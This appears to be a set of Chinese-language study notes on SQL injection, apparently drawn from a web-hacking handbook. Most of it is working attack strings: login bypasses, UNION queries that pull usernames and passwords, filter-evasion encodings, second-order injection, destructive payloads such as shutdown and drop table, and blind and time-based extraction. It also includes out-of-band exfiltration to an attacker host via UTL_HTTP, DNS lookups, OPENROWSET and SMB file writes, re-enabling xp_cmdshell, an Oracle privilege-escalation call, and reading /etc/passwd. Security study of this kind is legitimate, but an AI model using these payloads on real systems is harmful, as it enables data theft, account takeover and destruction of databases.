避开登录
①select * from users where username = 'admin' and password= 'secret'
bypass: admin'--
select * from users where username = 'admin'
不知道管理员用户名,直接使用第一个账户登录,因为大多数应用程序中数据库的第一个账户为管理账户.
②input: 'or 1=1--
select * from users where username =' ' or 1=1 //该查询将返回全部应用程序用户的资料
常规漏洞
①搜索有Wiley出版的书籍:
select author,title,year from books where publisher = 'Wiley' and published = 1
②如果用户搜索O'Reilly出版的书籍 将报错
select author,title,year from books where publisher = 'O'Reilly' and published=1
③于是..返回零售商目录中的每一本书籍
Wiley' or 1=1--
select author,title,year from books where publisher = 'Wiley' or 1=1--' and published=1
//对开发者查询中的where子句进行修改,增加了另外一个条件.数据库将检查书籍表的每一行,
提取published列值为wiley或其中1=1的每条记录.因为1总是等于1,所以将返回所有记录.
published=1表示已出版,通过双连字符后加入一个空格或者#符号注释掉即可返回包括未出版的所有书籍.
④有时候可不使用注释符号处理字符串末尾的引号,而用一个需要引号包含的字符串数据结束注入的输入.以此"平衡引号"
wiley' or 'a' ='a
select author,title,year from books where publisher = 'wiley' or 'a' ='a' and published=1
//这个查询完全有效,与1=1攻击法结果相同.
Insert
如果一个应用程序允许用户自我注册..
①insert into users (username,password,ID,privs) values ('daf','secret',2248,1)
注入username字段
foo','bar',9999,0)--
建立一个ID为9999,privs为0的账户,若privs字段控制账户权限,即创建了一个管理用户.
②无法提取知道需要提交多少个参数或参数的类型,可以持续增加一个新的字段,
直到应用程序创建了确实想要创建的用户账户,从而解决上述问题.
Foo')--
Foo',1)--
Foo',1,1)--
Foo',1,1,1)--
若发现使用值1仍找到拒绝,可以尝试使用值2000
update
更新密码语句
①update users set password = ‘newsecret’ where user = ‘marcus’ and password = ‘secret’
会检查原始账户密码是否正确,避开密码检查,更新密码为admin
admin'--
update users set password = ‘admin'
②更新每一个用户的密码为admin
admin' or 1=1--
update users set password = ‘admin' or 1=1
③破坏数据可以使用delete语句
注入字符串数据
①测试可以用' 或者''(两个'会转义成一个'的作用)
②使用SQL连接符建立一个等同于"良性"输入的字符串
Oracle: '||'FOO
MS-SQL: '+'FOO
MySQL: ' 'FOO
③特定的参数中提交%通配符来确定应用程序是否正与后端数据库交互,
例如搜索中提交%通常会返回大量结果,表明输入正被传送到SQL查询中.
注入数字数据
①尝试输入一个结果等于原始数字值的简单数学表达式,
例如原始值为2,尝试提交1+1或者3-1
②使用复杂特殊的SQL关键字和语法表达式进一步证明.
67-ASCⅡ('A') //表达式结果是2,因为A的ASCⅡ值为65
③如果'被过滤.
51-ASCⅡ(1) //表达式结果是2,因为1的ASCⅡ值为49
必须编码的
①&和=用于连接名/值时.建立查询字符串和POST数据块,应当进行url编码
&: %26
=: %3d
②查询字符串中不允许使用空格,如果提交空格会使字符串终止.
空格: +或者%20
③由于+编码用于编码空格,如果想使用+,进行url编码
+": %2b
例如1+1:1%2b1
④分号是用于分隔cookie字段,也许编码
: %3b
注入查询结构
查询结构最常见的是order by子句,order by关键字接受某个列名称或编号,
并根据该列中的值对结果集进行排序.
①使用以下查询检索一个可排序的图书表
select author,title,year from books where publisher = 'Wiley' order by title ASC
如果order by中的列名称title由用户指定,就没有必要使用单引号,
因为用户提交的数据已经直接修改了SQL查询的结构.
②order by 1: 依据第一个列进行排序
order by 2: 依据第二个列进行排序
...//逐个增加请求,提交的数字大于结果集中的列数查询将失败.
③可以使用以下字符串,检查是否可以颠倒结果的顺序,从而确认是否可以注入其他SQL
1 ASC -- //升序排列
1 DESC -- //降序排列
④如果提交数字1生成结果,其中一个列的每一行都包含一个1,
则说明输入可能被插入到查询返回的列的名称中.
select 1.title,year from books where publisher = 'Wiley'
⑤order by实施SQL注入时数据库不会接受查询中的union、where、or或and关键字.
通常需要指定一个嵌套查询来替代参数,如用(select 1 where <<condition>> or 1/0=0)
来替代列名称,对于支持批量查询的数据库,这可能是最有效的注入攻击方式.
"指纹"识别数据库
①根据数据库连接字符串的不同方式进行识别.
在控制某个字符串数据线的查询中,可以在一个请求中提交一个特殊的值,
然后测试各种连接方法,以生成那个字符串.若得到相同结果即可以确定数据库类型.
常用的数据库构建services字符串方式
Oracle: 'serv'||'ices'
MS-SQL: 'serv'+'ices'
MySQL: 'serv' 'ices'
②如果注入数字数据,可以使用下面攻击字符串来识别数据库.
Oracle: BITAND(1,1)-BITAND(1,1)
MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVED
MySQL: CONNECTION_ID()-CONNECTION_ID()
每个数据项在目标数据库中求知的结果为0,在其他数据库中则会导致错误.
③MS-SQL和Sybase数据库起源相同,因此他们有许多相似之处,
绝大多数针对MS-SQL的攻击技巧同样也适用于Sybase.
④MySQL在处理行内注释的时候,如果一个注释以感叹号开头,接着是数据库版本字符串,
那么只要数据库的实际版本高于或等于那个字符串,应用程序就会将注射内容解释为SQL,
否则将忽略内容,作为注释处理.可利用它来识别数据库的实际版本.
如果使用的MySQL版本高于或等于3.23.02,注入下面的字符串将使select语句的where子句为假
/*!32302 and 1=0*/
UNION操作符
①搜索由Wiley出版的书籍
select author,title,year from books where publisher = 'Wiley'
假设返回如下结果
-----------------------------------------------------------------------------
作者 书名 出版年份
-----------------------------------------------------------------------------
Litchifield The Database Hacker's Handbook 2005
Anley The Shellcoder‘s Handbook 2007
-----------------------------------------------------------------------------
之前提到可以使用Wiley' or 1=1--返回所有书籍结果,
现在我们使用UNION操作符注入另外一个select查询,并将查询结果附加在第一次查询的结果之后.
第二次查询能够从另一个完全不同的数据库表中提取数据.
Wiley’ union select username,password,uid from users--
select author,title,year from books where publisher = 'Wiley’ union select username,password,uid from users--'
这个查询返回最初的搜索结果,接着是用户表的内容
-----------------------------------------------------------------------------
作者 书名 出版年份
-----------------------------------------------------------------------------
Litchifield The Database Hacker's Handbook 2005
Anley The Shellcoder‘s Handbook 2007
admin r00tr0x 0
cliff Reboot 1
-----------------------------------------------------------------------------
如果使用union操作符组合两个或几个select查询的结果,
那么组合的结果的列名称与第一个select查询的列名称完全相同.这表示应用程序在处理被修改的查询结果时,
它无法检测出返回的数据实际上来自一个完全不同的表.UNION查询符可发挥非常大的作用.
②UNION的限制:
a.组合的查询结果必须结构相同,也就是列数必须相同,必须使用按相同顺序出现的相同或兼容的数据类型.
试图注入一个返回错误列数的查询:
Wiley' union select username password from users--
最初的查询返回3列,而注入的查询返回2列,因此数据库返回如下错误
ORA-01789:query block has incorrect number of result columns
试图注入另一个列内数据类型不兼容的查询:
Wiley' union select uid,username,password from users--
数据库将尝试把第二个查询的password列(字符串数据)与第一个查询的year列(数字数据)组合起来.
因为字符串数据无法转换为数字数据,因此数据库返回如下错误
ORA-01790:expression must have same datatype as corresponding expression
b.为注入另一个返回有用结果的查询,必须知道针对数据库表的名称以及有关列的名称.
③为使注入的查询能够与第一个查询结合,不一定要使用完全相同的数据类型.但必须相互兼容.
实际上,NULL值可被转换成任何数据类型.因此如果不知某个特殊字段的数据类型.
只需在那个字段输入select NULL即可.
④攻击的首要任务是查明应用程序的最初查询返回的列数.
a.可以NULL被转换为任何数据类型这一事实,系统性地注入包含不同列数的查询,知道注入的查询得到执行.
' union select null--
' union select null,null--
' union select null,null,null--
查询得到执行说明使用了正确的列数.
b.确定所需的列数后,下一项任务就是找到一个使用字符串数据类型的列,以便通过它从数据库中提取出任意数据.
可以注入一个包含NULL值的查询,并系统性地使用a代替每个NULL,从而完成这项任务,
例如,如果知道查询必须返回3列,可以注入一下查询
' union select 'a',null,null--
' union select null,'a',null--
' union select null,null,'a'--
如果注入的查询得到执行,将看到另一行包含a值的数据,然后就可以使用相关列从数据库中提取数据.
④在Oracle数据库中,每个SELECT语句必须包含一个FROM属性,
因此,无论列数是否正确,注入UNION SELECT NULL将产生一个错误,可以选择使用全局可访问表DUAL来满足这一要求.
'union select null from DUAL--
第一列可提取字符串数据,则可以提取数据库版本
MS-SQL以及MySQL: ' union select @@version,null,null--
Oracle: ' union select banner,null,null from v$version--
---------------------------------------------------------------------------------------------------------------------------
作者 书名 出版年份
---------------------------------------------------------------------------------------------------------------------------
CORE 3.2.0.1.0 Production
NLSRTL Version 9.2.0.1.0-Production
Oracle9i ENterprise Edition Release 9.2.0.1.0-Production
PL/SQL Release 9.2.0.1.0-Production
TNS for 32-bit Windows;Version 9.2.0.1.0-Production
---------------------------------------------------------------------------------------------------------------------------
使用Union提取数据
①在通讯录搜索名为Matthew的联系人,浏览器提交以下参数
Name=Matthew
返回如下结果
-------------------------------------------------------------------
人名 电子邮件地址
-------------------------------------------------------------------
Matthew Adamson handytrick@gmail.com
-------------------------------------------------------------------
②确定请求的列数
Name=Matthew'%20union%20select%20null--
报错,继续添加
添加至如下列数时查询被执行
Name=Matthew'%20union%20select%20null,null,null,null,null--
-------------------------------------------------------------------
人名 电子邮件地址
-------------------------------------------------------------------
Matthew Adamson handytrick@gmail.com
[空] [空]
-------------------------------------------------------------------
③验证查询的第一列是否包含字符串数据
Name=Matthew'%20union%20select%20'a',null,null,null,null--
-------------------------------------------------------------------
人名 电子邮件地址
-------------------------------------------------------------------
Matthew Adamson handytrick@gmail.com
[a] [空]
-------------------------------------------------------------------
④需要查明可能包含有用信息的数据库表和列的名称.
需要查询元数据表information_schema.columns,其中包含数据库表中的所有表和列名称的详细资料.
Name=Matthew'%20union%20select%20table_name,columns,null,null,null%20from%20information_schema.columns--
-------------------------------------------------------------------
人名 电子邮件地址
-------------------------------------------------------------------
Matthew Adamson handytrick@gmail.com
shop_items Price
shop_items Prodid
shop_items Prodname
addr_book Contactemail
addr_book Contactname
Users Username
Users Password
-------------------------------------------------------------------
⑤从以上结果可以确定,很明显可以从用户表开始提取数据
Name=Matthew'%20union%20select%20username,password,null,null,null%20from%20users--
-------------------------------------------------------------------
人名 电子邮件地址
-------------------------------------------------------------------
Matthew Adamson handytrick@gmail.com
administrator fme69
dev uber
marcus 8pinto
smith twosixty
jlo 6kdown
-------------------------------------------------------------------
⑥MS-SQL、MySQL和许多其他数据库(包括SQLite和Postgresql)均支持information_schema.
它主要用于保存数据库元数据,这也使它成为探查数据库的攻击者的主要目标.
⑦Oracle不支持此方案,需要使用查询select table_name,column_name from all_tab_columns
来检索有关数据库表和列的信息(user_tab_columns表以仅针对当前数据库),
通常在分析大型数据库以探查攻击目标时,最好是查找有用的列名称而不是表
select table_name,columns_name from information_schecolumns where column_name like '%PASS%'
⑧如果目标表返回了多个列,则可以将这些列串连到单独一个列中,这样检索起来比会更加方便,
因为这时只需要在原始查询中确定一个varchar字段
Oracle: select table_name||':'||column_name from all_tab_columns
MS-SQL: select table_name+':'+column_name from information_schema.columns
MySQL: select concat(table_name,':',column_name) from information_schema.columns
避开过滤
①避免使用被阻止的字符
a.如果要注入的数字数据字段或列字段,不一定必须使用单引号.
这时可通过各种字符串函数,使用每个字符的ASCⅡ代码动态构建一个字符串
例如select ename,sal from emp where ename='marcus'
下面两个查询分别用于Oracle和MS-SQL
select ename,sal from emp where ename=CHR(109)||CHR(97)||CHR(114)||CHR(99)||CHR(117)||CHR(115)
select ename,sal from emp where ename=CHR(109)+CHR(97)+CHR(114)+CHR(99)+CHR(117)+CHR(115)
marcus : CHR(109)CHR(97)CHR(114)CHR(99)CHR(117)CHR(115)
b.如果注释符号被阻止,通常可以设计注入的数据使其不会破坏周围查询的语法.
' or 1=1-- //--被阻止
' or 'a'='a //使用'a来连接后面的'
c.在MS-SQL数据库中注入批量查询时,不必使用分号分隔符.
只要纠正所有批量查询的语法,无论是否使用分号查询分析器都会正确解释他们.
②避免使用简单确认
一些输入确认机制使用一个简单的黑名单,阻止或删除任何出现在这个名单中的数据(过滤)
这种情况下,应该尝试使用标准的攻击方法,寻求确认和规范化机制中的常见缺陷.
例如select关键字被阻止或删除,可以尝试以下输入
SeLeCt //大小写
%00SELECT
SELSELECTECT //过滤中间的SELECT剩下SELECT
%53%45%4c%45%43%54 //url编码
%2553%2545%254c%2545%2543%2554 //url_utf编码
③使用SQL注释
a.我们可以在SQL语句中插入行内注释,注释内容包含在/*和*/之间,
如果应用程序阻止或删除输入中的空格,可以使用注释来"冒充"注入数据中的空白符.
select/*foo*/username,password/*foo*/from/*foo*/ users
b.在MySQL中,注释甚至可以插入关键字中,这种方法可避开某些输入确认过滤.同时保留查询中的语法.
sel/*foo*/ect username,password fr/*foo*/om users
④利用有缺陷的过滤
输入确认机制通常包含逻辑缺陷,可对这些缺陷加以利用,使被阻止的输入避开过滤.
多数情况下,这类工具会利用应用程序在对多个确认步骤进行排序,或未能以递归方式应用净化逻辑方面的缺陷.
二阶SQL注入
①在一些应用程序中,用户输入在到达时通过转义单引号来进行确认
select author,title,year, from books where publisher = 'O''Reilly'
查询O'Reilly在这个查询中,用户提交的单引号被转换为两个单引号
②注册用户名foo',将不会在数据库中造成问题.
insert into users (username,password,ID,privs) values ('foo''','secret',2248,1)
③一切正常,然而,假设应用程序还执行密码修改功能,那么只有通过验证的用户才能够访问这项功能.
而且为了加强保护,应用程序要求用户提交原始密码.然后核对用户提供的密码是否正确.
要完成核对任务,首先要从数据库中提取用户的用户名,然后建立如下查询
select password from users where username = 'foo''
在字符串被传送给数据库时会使用配对的转义序列,
当应用程序重复使用这个字符串并将它嵌入到另一个查询中时,就会造成一个SQL注入漏洞.
用户最初的恶意输入就被嵌入到查询中.当用户尝试修改密码时,应用程序返回一下信息,暴漏了缺陷
Unclosed quotation mark before the character string 'foo
④要利用这种漏洞,攻击者只需要注册一个包含专门设计的输入用户名,然后尝试修改密码
例如以下用户名
' or 1 in (select password from users where username='admin')--
注册步骤也会被应用程序安全处理,若攻击者尝试修改密码,他注入的查询就会执行,导致生成一下消息,泄漏管理员的密码
Microsoft OLE DB Procider for ODBC Drivers error '80040e07'
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting
the varchar value 'fme69' to a columns of data type int.
成功避开旨在阻止SQL注入攻击的输入确认,现在能够在数据库中执行任意查询并获得查询结果.
高级利用
并非所有攻击都旨在盗窃敏感数据,一些攻击可能更具破坏性,
例如仅提交12个字符的输入就能够使用关闭命令关闭一个MS-SQL数据库
' shutdown--
攻击者还可以注入恶意命令,如下面这些命令可删除一些数据库表
' drop table users--
' drop table accounts--
' drop table customers--
①获取数字数据
如果包含单引号的输入得到正确处理,那么应用程序中的字符串字段就不易受到SQL注入攻击.
但是数字数据字段可能仍然存在漏洞,在这种字段中用户的输入并不包含在单引号中.
这时攻击者自由港通过应用程序的数值相应(numeric response)才能获得注入查询的结果.
在这种情况下,需要做的是获取数字形式的有用数据,对注入查询的结果进行处理.
可以使用一下两个关键函数
ASCII,它返回输入字符的ASCⅡ代码;
SUBSTRING(或Oracle中的SUBSTR),它返回输入的子字符串.
这些函数可结合在一起使用,以数字形式从一个字符串提取单独一个字符.
SUBSTRING('Admin',1,1)返回A
ASCII('A')返回65
因此
ASCII(SUBSTRING('Admin',1,1))返回65
使用这两个函数可以系统地将一个有用的数据的字符串分割成单个字符,并以数字形式分别返回每一个字符.
在自定义攻击中,可以利用这种技巧,以一次一字节的速度迅速获得并重建大量基于字符串的数据.
②使用带外通道
许多时候可以注入任意一个查询,但却无法获得查询结果,回到那个易受攻击的登录表单.
a.它的用户名和密码字段易于遭受SQL注入
select * from users where username='marcus' and password='secret'
b.除了修改查询逻辑以避开登录外,还可以注入一个完全独立的子查询,
使用字符串连接符把这个子查询的结果与控制的数据项连接起来.
foo'||(select 1 from dual where (select username from all_users where username='DBSNMP')='DBSNMP')--
应用程序将执行以下查询
select * from users where username='foo'||(select 1 from dual where (select username from all_users where username='DBSNMP')='DBSNMP')
数据库将执行注入的子查询并把结果附加在foo之后,然后查找所生成用户名的资料.
当然这种登录不会成功,但会执行注入的查询.在应用程序响应中收到的只是标准的登录失败消息.
c.现在需要想办法获得查询的结果,获取数据的有效方法是使用带外通道.
能够在数据库中执行任意SQL语句后利用数据库的一些内置功能在数据库与自己的计算机之间建立网络连接,
然后通过它传送数据库中收集到的任何数据.建立适当的网络连接的方法依不同的数据库而定且取决于用户权限.
c-1.MS-SQL
一些老式数据库,例如MS-SQL2000以及更早的版本,
可使用OpenRowSet命令与外部数据库建立连接并在其中插入任何数据.
将目标数据库与攻击者数据库建立连接,并将目标数据库的版本字符串插入表foo中
insert into openrowset('SQLOLEDB','DRIVER={SQL Server};SERVER=test.net,80;UID=sa;PWD=letmain','select * from foo') values (@c@version)
可以指定80端口或者其他可能的值,以提高穿透防火墙建立外部连接的可能性.
c-2.Oracle
Oracle中包含大量低权限用户可访问的默认功能,可以使用他们建立带外连接.
UTL_HTTP包可用于向其他主机提出任意HTTP请求.
使用UTL_HTTP想攻击者控制的服务器传送注入查询的结果
/employees.asp?EmpNo=7521'||UTL_HTTP.request('test.net:80/'||(select%20username%20from%20all_users%20where%20rownum%3d1))--
这个URL促使UTL_HTTP提出一个GET请求,要求访问包含all_users表中第一个用户名的URL.
这时攻击者只需在test.net中安装一个netcat监听器即可收到结果.
c:\nc -nLP 80
GET /SYS HTTP/1.1
HOST:test.net
Connection:close
UTL_INADDR包旨在将主机名解析为IP地址,他可用于在攻击者控制的服务器中生成任意DNS查询.
许多时候,相比于UTL_HTTP攻击,这类攻击更可能取得成功.因为DNS流量能够穿透企业防火墙.
攻击者能够利用这个包查找选择的主机名,将他作为子域放在他们控制的一个域名前面.
/employees.asp?EmpNo=7521'||UTL_INADDR.GET_HOST_NAME((select%20password%20from%20DBA_USERS%20where%20name='sys')||'.test.net')
它向包含sys用户的密码散列的test.net名称服务器发出下面这个DNS查询
DCB748A5BC5390F2.test.net
UTL_SNMP包可用于发送电子邮件。在出战电子邮件中发送这个包,即可获得大量从数据库中截取的数据。
UTL_TCP包可用于打开任意TCP套接字,以发送和接受网络数据.
在Oracle 11g中,ACL为上述许多资源提供保护,以防止任意数据库用户执行恶意操作.
避开ACL方法:
SYS.DBMS.LDAP.INIT((select password from sys user$ where name='sys')||‘.test.net’,80)
c-3MySQL
select...into outfile命令可以将任意一个查询的输出指向一个文件.
指定的文件名可包含UNC路径,允许将输出指向自己计算机上的一个文件.
select * into outfile '\\\\test.net\\share\\output.txt' from users;
要想接收到文件,必须在计算机上建立SMB共享,允许匿名写入访问.
c-4利用操作系统
通常可以在数据库服务器的操作系统上执行任意命令,以此实施权限提升攻击.
这时可使用tftp、mail和telnet等内置命令将数据复制到Web根目录使用浏览器读取.
③使用推论:条件式响应
若数据库处在一个受保护的网络中,他的边界防火墙进制任何与因特网或其他网络的带外连接.
只能通过Web应用程序注入点访问数据库.
使用一个注入查询有条件地在数据库中触发某种可以探测的行为,从而推断出所需信息.
可注入用户名和密码字段以查询任意查询的登录功能:
select * from users where username = 'marcus' and password = 'secret'
假设还没有找到将注入查询的结果返回给浏览器的方法,但我们已知如何使用SQL注入改变应用程序的行为.
例如提交下面两个输入将得到截然不同的结果:
admin' and 1=1-- //允许攻击者以管理员身份登录
admin' and 1=2-- //尝试登录失败,因为1=2总为假
可以利用这种应用程序行为控制推断数据库中任意条件的真假.
例如,使用前面描述的ASCII和SUBSTRING函数,攻击者可以测试截获字符串中的一个字符是否为特定的值得.
提交下面这段输入将允许攻击者以管理员身份登录,因为经测试条件为真:
admin' and ASCII(SUBSTRING('Admin',1,1)) = 65--
但是提交下面的输入,登录不会取得成功,因为条件为假
admin' and ASCII(SUBSTRING('Admin',1,1)) = 66--
提交大量这类查询,循环每个字符的所有可能的ASCII编码,知道出现一个"触点",
就能够以每次一个字节的速度,提取出整个字符串.
a.引发条件式错误
有时注入的查询不会给应用程序的欣慰(如日志机制)造成直接影响.或者应用程序并不处理注入的一个子查询或批量查询.
攻击者必须根据特定的条件争取在应用程序中造成可探测的行为差异.
David Litchifield发现一个可在大多数情况下触发可探测行为差异的技巧.
通过注入一个查询,依照某个特定的条件引发一个数据库错误.如果发送数据库错误,
可以通过HTTP500相应码,或者通过某种错误消息或反常行为(即使错误消息本身并未揭示任何有用的信息),从外部探测到这个错误.
这种技巧利用了数据库在求条件语句的值时表现出的一个行为特点:
数据库将根据其它部分的情况,进队那些需要求值的语句部分求值.
包含WHERE子句的SELECT语句就是表现出这种行为的一个典型示例:
select X from Y where C
这条语句使数据库访问表Y的每一行,评估条件C.
如果C为真,返回X.如果条件C永为假则永不会求出表达式X的值.
可以找到一个语法有效但如果求值就会发生错误的表达式X,对这种行为加以利用.
在Oracle与MS-SQL中,被零除计算就是这样的表达式,如1/0.
如果条件C为真,那么求表达式X的值,这造成一个数据库错误.
如果条件C为假,就不会发生错误.
因此可以通过是否发生错误测试任意一个条件C.
查询默认的Oracle用户DBSNMP是否存在,如果该用户存在,就会求表达式1/0的值,造成错误.
select 1/0 from dual where (select username from all_users where username = 'DBSNMP') = 'DBSNMP'
查询虚构用户AAAAAA是否存在,因为where条件永为假,所以不求表达式1/0的值,因而不会发生错误.
select 1/0 from dual where (select username from all_users where username = 'AAAAAA') = 'AAAAAA'
这种技巧的目的是在应用程序中引发一个条件性响应,利用它可使用前面描述的推论技巧在各种情况下提取到所需数据.
由于这种技巧非常简单,相同的共计字符串可应用于一系列数据库,其中的注入点则位于各种类型的SQL语句中.
他可以用在可以注入子查询的各种注入点中,如:
(select 1 where <<condition>> or 1/0=0)
以一个提供可搜索并可排序的联系人数据库的应用程序为例,用户控制着department和sort参数:
/search.jsp?department=30&sort=ename
以上代码出现在以下后端查询中,该查询确定了department参数的值,但将sort参数连接到查询中.
String queryText = "SELECT ename,job,deptno,hiredate FROM emp WHERE deptno = ? ORDER BY " + request.getParameter("sort") + "DESC";
攻击者无法修改WHERE子句或在ORDER BY子句后进行UNION查询,但攻击者可以通过以下语句建立某种推断条件:
/search.jsp?department=20&sort=(select%201/0%20from%20dual%20where%20(select%20substr(max(object_name),1,1)%20from%20user_objects)='Y')
如果user_objects表中的第一个对象名称第一个字母等于'Y',
将导致数据库尝试对1/0求值,这会导致错误.整个查询不会返回任何结果.
如果第一个字母不等于'Y',原始查询的结果将按默认顺序返回.
通过对Absinthe或SQLMap之类的SQL注入工具仔细设定这个条件,我们可以检索数据库中的每一条记录.
b.使用时间延迟
有些情况下,可以注入一个不会在浏览器中显示结果的查询,但由于无法建立带外通道.
即使它在数据库中引发错误,也不会给应用程序的行为造成任何影响.
NGSSoftware的Chris Anley和Sherief Hammad发现一个技巧.
设计出一个根据攻击者指定的条件造成时间延迟的查询.
攻击者可以提交他设计的查询,然后监控服务器做出响应所花的时间.如果发生延迟,攻击者可推断条件为真.
即使两种情况下应用程序的响应完全相同,攻击者仍然可根据是否存在时间延迟从数据库中提取1bit数据.
通过大量执行这类查询,攻击者就能够系统性地从数据库中提取任何复杂的数据,每次一比特.
引发适当时间延迟方法的精确性取决于所使用的目标数据库.
MS-SQL中包含了一个内置WAITFOR命令,可用于引发一个指定的时间延迟.
例如当前数据库用户为sa,下面的查询将会造成5秒钟的时间延迟:
if (select user) = 'sa' waitfor delay '0:0:5'
使用这个命令攻击者就能够以各种方式提取任何信息.
一种方法是利用前面已经描述的,在应用程序返回条件性响应时用到的相同技巧.
现在如果满足一个特殊条件,注入的查询就不再触发一个不同的应用程序响应,相反它引发一次时间延迟.
例如,下面的第二个查询将引发一次时间延迟,表示被截获字符串的第一个字母为A
if ASCII(SUBSTRING('Admin',1,1)) = 64 waitfor delay '0:0:5'
if ASCII(SUBSTRING('Admin',1,1)) = 65 waitfor delay '0:0:5'
攻击者可以循环使用每个字符的所有可能值,直到发生时间延迟.
另外可以通过减少所需请求的数量,提高攻击的效率.
另一个技巧是将每个字节的数据划分为比特,并在每次查询中获得一比特的数据.
POWER命令和按位"与"运算符&可在逐比特的基础上指定条件.
例如以下查询测试被拦截数据的第一字节的第一比特,比如其值为1,终止查询:
if (ASCII(SUBSTRIN('Admin',1,1))&(POWER(2,0))) > 0 waitfor delay '0:0:5'
下面的查询对第二比特执行相同的测试:
if (ASCII(SUBSTRIN('Admin',1,1))&(POWER(2,1))) > 0 waitfor delay '0:0:5'
如前所述,这种引发时间延迟的方法准确性在很大程度上取决于所使用的数据库.
在当前版本的MySQL中,睡眠函数可创建指定时间的时间延迟,例如:
select if(user() like 'root@%',sleep(5000),'false')
在5.0.12版本之前的MySQL中,不能使用睡眠函数,
但可使用基准函数(benchmarkfunction)重复执行一个特定的操作.指示数据库执行一个处理器密集型操作.
比如SHA-1散列,大量的操作次数将造成一次可测量的时间延迟,例如:
select if(user() like 'root@%',benchmar(50000,sha1('test')),'false')
在PostgreSQL中可使用PG_SLEEP函数,其使用方法与MySQL睡眠函数相同.
在Oracle中,没有产生时间延迟的内置方法,一种方法是使用UTL_HTTP连接一个不存在的服务器,
造成一次操作超时,这会使数据库尝试与指定的服务器建立连接,并最终造成延迟.例如:
SELECT 'a'||Utl_Http.request(''http://madeupserver.com) from dual
...delay...
ORA-29273:HTTP request failed
ORA-06512:at "SYS.UTL.HTTP".line 1556
ORA-12545:Connect failed because targer host or object does not exist
可以利用这种行为根据指定的某个条件造成时间延迟.
例如,如果默认的ORA账户DBSNMP存在,下面的查询将会造成一次超时:
SELECT 'a'||Utl_Http.request(''http://madeupserver.com) FROM dual WHERE (SELECT username FROM all_users WHERE username = 'DBSNMP') = 'DBSNMP'
如前所述,在Oracle和MySQL数据库中,都可以使用SUBSTR(ING)和ASCII函数每次一字节地获取任意信息.
另外,在对应用程序进行初步探查、检测SQL注入漏洞时,时间延迟技巧也可能非常有用.
在一些完全盲目的SQL注入攻击中,浏览器中不会显示查询结果,所有错误都被应用程序以隐含的方式处理.
使用提交专门设计的输入的标准技巧可能很难检测出漏洞.
这时,使用时间延迟是在初步探查的过程中检测一个漏洞是否存在的最有效方法.
例如,如果后端数据库为MS-SQL,那么可以将下面的两个字符串轮流注入每个请求参数中,
并监视应用程序响应请求所用的时间.从而确定所有漏洞:
'; waitfor delay '0:30:0'--
1; waitfor delay '0:30:0'--
扩大数据库攻击范围
①MS-SQL
最常被攻击者滥用的数据库功能可能是xp_cmdshell存储过程,它是MS-SQL默认内置的一项功能.
这个存储过程允许数据库管理员用户以和cmd.exe命令提示符相同的方式执行操作系统命令.
例如:master..xp_cmdshell 'ipconfig > test.txt'
攻击者可在众多情况下滥用这项功能,他们可以执行任意命令,将结果指向本地文件,然后读取文件内容.
他们可以打开一个连通自己计算机的带外网络连接,并建立一条秘密的命令和通信渠道,
从服务器复制数据并上传攻击工具.执行任意操作.
MS-SQL中还有许多其他存储过程,比如xp_regread或xp_regwrite,可用于在windows操作系统注册表中执行强大的操作.
互联网上的大多数MS-SQL为MS-SQL 2005或更高版本.这些版本提供各种安全功能,
可以在默认情况下锁定数据库,以防止各种攻击.
但是如果数据库中的Web应用程序用户账户拥有足够高的权限,则通过重新设置数据库就可以突破锁定.
例如可以使用sp_configure存储过程重新启用被禁用的xp_cmdshell.以下4行SQL代码用于实现这一目的:
execute sp_configure 'show advanced options', 1
reconfigure with override
execute sp_configure 'xp_cmdshell','1'
reconfigure with override
这样,xp_cmdshell就被重新启用,并可以通过以下命令运行:
exec xp_cmdshell 'dir'
②Oracle
人们已经在Oracle数据库软件中发现了大量安全漏洞,如果找到一个允许执行任意查询的SQL注入漏洞.
那么就可以利用这种漏洞提升到数据库管理员权限.
Oracle包含许多可在数据库管理员权限下运行的内置的存储过程,并已发现在这些存储过程中存在SQL注入漏洞.
例如在2006年7月的重要补丁发布之前,存在与默认包SYS.DBMS.EXPORT_EXETENSION,GET_DOMAIN_INDEX_TABLES
中的缺陷就是一个典型的实例,攻击者可以利用这个缺陷在易受攻击的字段中注入grant DBA to public查询来提升权限:
select SYS.DBMS.EXPORT_EXETENSION,GET_DOMAIN_INDEX_TABLES ('INDX','SCH','TEXTINDEXMETHODS''.ODCIIndexUtilCleanup(:p1);execute immediate' 'declare pragma autonomous_transaction;begin execute immediate' ' ' 'grant dba to public' ' ' ' ; end;' '; END;--' , 'CTXSYS',1,'1',0) from dual
这种类型的攻击可通过利用Web应用程序中的SQL注入漏洞,在易受攻击的参数中注入函数来实现.
除了这些漏洞外,Oracle还含有大量默认功能,这些功能可被低权限用户访问,并可用于执行各种敏感操作.
如建立网络连接或访问文件系统.除了前面描述的用于建立带外连接的功能强大的包之外,
UTL_FILE包可用于在数据库服务器文件系统上读取和写入文件.
2010年,David Litchfield演示了如何在Oracle 10g R2和11g中利用Java来执行操作系统命令.
该攻击首先利用DBMS_JVM_EXP_PERMS.TEMP_JAVA_PRLICY中的缺陷授予当前用于java.io.filepermission权限.
然后使用DBMS_JAVA.RUNJAVA执行操作系统命令的Java类(oracle/aurora/util/Wrapper).
例如:DMBS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dir>c:\\out.lst')
可通过访问以下链接了解相关详情:
www.databasesecurity.com/HackingAurora.pdf
www.notsosecure.com/folder2/2010/08/02/blackhat-2010/
③MySQL
MySQL中包含的可被攻击者滥用的内置功能相对较少,其中一个实例是任何拥有FILE_RPIV许可的用户都可以读取并写入文件系统.
LOAD_FILE命令可用于获取任何文件的内容.
例如select load_file('etc/passwd')
select ...into outfile命令可用于将任何一个查询的输出指向一个文件.
例如:
create table test (a varchar(200))
insert into test(a) values ('+ +')
select * from test into outfile 'etc/hosts.equiv'
除读取并写入关键的操作系统外,这些命令还可用于执行其他攻击.
a.因为MySQL将数据保存在明文文件中,数据库必须拥有读取这些文件的权限,
拥有FILE_PRIV许可的攻击者可以打开相关文件并读取数据库中的任何数据.
避开数据库实施的任何访问控制.
b.MySQL允许用户通过一个包含函数执行过程的编译库文件创建一个用户自定义的函数(UDF).
这个文件必须位于MySQL加载动态库的正常路径内.攻击者可以在这个路径中创建任意二进制文件,
然后建立使用这个文件的UDF.可以参阅Chris Anley的论文"Hackproofing MySQL"深入了解.
www.databasesecurity.com/mysql/HackproofingMySQL.pdf
①select * from users where username = 'admin' and password= 'secret'
bypass: admin'--
